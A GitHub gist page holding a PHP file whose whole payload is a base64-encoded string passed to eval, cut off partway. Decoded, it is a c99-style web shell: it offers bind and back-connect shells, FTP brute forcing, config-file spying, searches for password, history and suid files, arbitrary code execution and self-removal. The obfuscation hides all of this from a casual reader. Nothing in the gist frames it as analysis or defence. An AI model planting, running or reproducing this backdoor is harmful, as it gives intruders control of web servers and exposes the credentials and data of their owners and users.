Skip to content

Instantly share code, notes, and snippets.

@larryoncol
Created May 16, 2013 12:48
Show Gist options
  • Save larryoncol/5591478 to your computer and use it in GitHub Desktop.
Save larryoncol/5591478 to your computer and use it in GitHub Desktop.
<?php $md5_pass = ""; //If no pass then hash eval(base64_decode("DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V
<?php
$md5_pass = ""; //If no pass then hash
eval(base64_decode("DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTt9fQ0KZXJyb3JfcmVwb3J0aW5nKDUpOw0KQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX1BPU1QpOw0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0NCiRzaHZlciA9ICIgZWRpdGlvbiBBRFZBTkNFRCI7DQppZiAoZW1wdHkoJHN1cmwpKQ0Kew0KICRzdXJsID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQp9DQokc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoJHN1cmwpOw0KDQokdGltZWxpbWl0ID0gMDsNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsNCiRsb2dpbl90eHQgPSAiQWRtaW4gYXJlYSI7DQokYWNjZXNzZGVuaWVkbWVzcyA9ICJkaWUgbGlrZSB0aGUgcmVzdCI7DQokZ3ppcGVuY29kZSA9IFRSVUU7DQokYzk5c2hfc291cmNlc3VybCA9ICIiOyAvL1NvdXJjZXMtc2VydmVyDQokZmlsZXN0ZWFsdGggPSBUUlVFOw0KJGRvbmF0ZWRfaHRtbCA9ICIiOw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOw0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7DQokdG1wZGlyX2xvZyA9ICIuLyI7DQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LmdvdiI7DQokc29ydF9kZWZhdWx0ID0gIjBhIjsNCiRzb3J0X3NhdmUgPSBUUlVFOw0KDQokZnR5cGVzICA9IGFycmF5KA0KICJodG1sIj0+YXJyYXkoImh0bWwiLCJodG0iLCJzaHRtbCIpLA0KICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLA0KICJleGUiPT5hcnJheSgic2giLCJpbnN0YWxsIiwiYmF0IiwiY21kIiksDQogImluaSI9PmFycmF5KCJpbmkiLCJpbmYiKSwNCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogInNkYiI9PmFycmF5KCJzZGIiKSwNCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQoNCg0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAtcSAlZiUiID0+IGFycmF5KCJwaHAiLCJwaHAzIiwicGhwNCIpLA0KICJwZXJsICVmJSIgPT4gYXJyYXkoInBsIiwiY2dpIikNCik7DQoNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogIGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj1cInllbGxvd1wiPiIsIjwvZm9udD4iKSwNCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpIC8vIGV4YW1wbGUNCik7DQoNCiRzYWZlbW9kZV9kaXNrZXR0ZXMgPSBhcnJheSgiYSIpOw0KJGhleGR1bXBfbGluZXMgPSA4Ow0KJGhleGR1bXBfcm93cyA9IDI0Ow0KJG5peHB3ZHBlcnBhZ2UgPSAxMDA7DQokYmluZHBvcnRfcGFzcyA9ICJjOTltYWQiOw0KJGJpbmRwb3J0X3BvcnQgPSAiMzEzNzMiOw0KJGJjX3BvcnQgPSAiMzEzNzMiOw0KJGRhdGFwaXBlX2xvY2FscG9ydCA9ICI4MDgxIjsNCmlmICghJHdpbikNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAibHMgLWxhIiksDQogIGFycmF5KCJmaW5kIGFsbCBzdWlkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0yIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgYXJyYXkoImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICBhcnJheSgiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogIGFycmF5KCJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogIGFycmF5KCJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIsICJsc2F0dHIgLXZhIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikNCiApOw0KfQ0KZWxzZQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJkaXIiKSwNCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIikNCiApOw0KfQ0KDQokc2Vzc19jb29raWUgPSAiYzk5c2h2YXJzIjsNCg0KJHVzZWZzYnVmZiA9IFRSVUU7DQokY29weV91bnNldCA9IEZBTFNFOw0KDQokcXVpY2tsYXVuY2ggPSBhcnJheSgNCiBhcnJheSgiPGI+PGhyPkhPTUU8L2I+Iiwkc3VybCksDQogYXJyYXkoIjxiPjw9PC9iPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksDQogYXJyYXkoIjxiPj0+PC9iPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5nbygxKSIpLA0KIGFycmF5KCI8Yj5VUERJUjwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdscyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPScldXBkJztkb2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyVzb3J0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyIpLCAgICAgIA0KIGFycmF5KCI8Yj5TZWFyY2g8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VhcmNoJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyVkJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyIpLA0KIGFycmF5KCI8Yj5CdWZmZXI8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZnNidWZmJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyVkJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyIpLA0KIGFycmF5KCI8Yj5Ub29sczwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSd0b29scyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+UHJvYy48L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0ncHJvY2Vzc2VzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyVkJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyIpLA0KICBhcnJheSgiPGI+aHRhY2Nlc3MnPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2h0YWNzcyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiAgYXJyYXkoIjxiPmNvbmZpZyBzcHk8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nY29uZnNweSc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiAgYXJyYXkoIjxiPnZiaGFjayc8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0naW5kZXh4Jztkb2N1bWVudC50b2RvLmQudmFsdWU9JyVkJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyIpLA0KIGFycmF5KCI8Yj5GVFAgYnJ1dGU8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZnRwcXVpY2ticnV0ZSc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+U2VjLjwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdzZWN1cml0eSc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+U1FMPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+UEhQLWNvZGU8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZXZhbCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+U2VsZiByZW1vdmU8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VsZnJlbW92ZSc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+TG9nb3V0PC9iPiIsIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93LmNsb3NlKCkiKQ0KKTsNCg0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOw0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOw0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KQHNldF90aW1lX2xpbWl0KDApOw0KJHRtcCA9IGFycmF5KCk7DQpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30NCiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL3RyeWFnLmNvbVwiPmlzbGFtaWNkc2hlbGw8L2E+OiBBY2Nlc3MgRGVuaWVkIC0geW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9DQppZiAoIWVtcHR5KCRsb2dpbikpDQp7DQogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRsb2dpbl90eHQuIlwiIik7DQogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQoNCmlmIChpc3NldCgkX1BPU1RbJ2FjdCddKSkgJGFjdCAgPSAkX1BPU1RbJ2FjdCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnZCddKSkgJGQgICAgPSB1cmxkZWNvZGUoJF9QT1NUWydkJ10pOw0KaWYgKGlzc2V0KCRfUE9TVFsnc29ydCddKSkgJHNvcnQgPSAkX1BPU1RbJ3NvcnQnXTsNCmlmIChpc3NldCgkX1BPU1RbJ2YnXSkpICRmICAgID0gJF9QT1NUWydmJ107DQppZiAoaXNzZXQoJF9QT1NUWydmdCddKSkgJGZ0ICAgPSAkX1BPU1RbJ2Z0J107DQppZiAoaXNzZXQoJF9QT1NUWydncmVwJ10pKSAkZ3JlcCA9ICRfUE9TVFsnZ3JlcCddOw0KaWYgKGlzc2V0KCRfUE9TVFsncHJvY2Vzc2VzX3NvcnQnXSkpICRwcm9jZXNzZXNfc29ydCA9ICRfUE9TVFsncHJvY2Vzc2VzX3NvcnQnXTsNCmlmIChpc3NldCgkX1BPU1RbJ3BpZCddKSkgJHBpZCAgPSAkX1BPU1RbJ3BpZCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnc2lnJ10pKSAkc2lnICA9ICRfUE9TVFsnc2lnJ107DQppZiAoaXNzZXQoJF9QT1NUWydiYXNlNjQnXSkpICRiYXNlNjQgID0gJF9QT1NUWydiYXNlNjQnXTsNCmlmIChpc3NldCgkX1BPU1RbJ2Z1bGxoZXhkdW1wJ10pKSAkZnVsbGhleGR1bXAgID0gJF9QT1NUWydmdWxsaGV4ZHVtcCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnYyddKSkgJGMgID0gJF9QT1NUWydjJ107DQppZiAoaXNzZXQoJF9QT1NUWyd3aGl0ZSddKSkgJHdoaXRlICA9ICRfUE9TVFsnd2hpdGUnXTsNCmlmIChpc3NldCgkX1BPU1RbJ25peHBhc3N3ZCddKSkgJG5peHBhc3N3ZCAgPSAkX1BPU1RbJ25peHBhc3N3ZCddOw0KDQokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7DQpjaGRpcigkY3VyZGlyKTsNCiRzZXNzX2RhdGEgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsiJHNlc3NfY29va2llIl0pOw0KaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhKSkgeyRzZXNzX2RhdGEgPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjdXQiXSkpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7fQ0KDQokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCmlmICghZW1wdHkoJGRpc2FibGVmdW5jKSkNCnsNCiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsNCiAkZGlzYWJsZWZ1bmMgPSBleHBsb2RlKCIsIiwkZGlzYWJsZWZ1bmMpOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X2J1ZmZfcHJlcGFyZSIpKQ0Kew0KZnVuY3Rpb24gYzk5X2J1ZmZfcHJlcGFyZSgpDQp7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogZ2xvYmFsICRhY3Q7DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30NCiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30NCiAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7DQogc29ydCgkc2Vzc19kYXRhWyJjb3B5Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIGlmICgkYWN0ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19DQogZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19DQp9DQp9DQpjOTlfYnVmZl9wcmVwYXJlKCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X3Nlc3NfcHV0IikpDQp7DQpmdW5jdGlvbiBjOTlfc2Vzc19wdXQoJGRhdGEpDQp7DQogZ2xvYmFsICRzZXNzX2Nvb2tpZTsNCiBnbG9iYWwgJHNlc3NfZGF0YTsNCiBjOTlfYnVmZl9wcmVwYXJlKCk7DQogJHNlc3NfZGF0YSA9ICRkYXRhOw0KICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsNCiBzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTsNCn0NCn0NCmZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikNCnsNCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiBUUlVFOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSBUUlVFOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0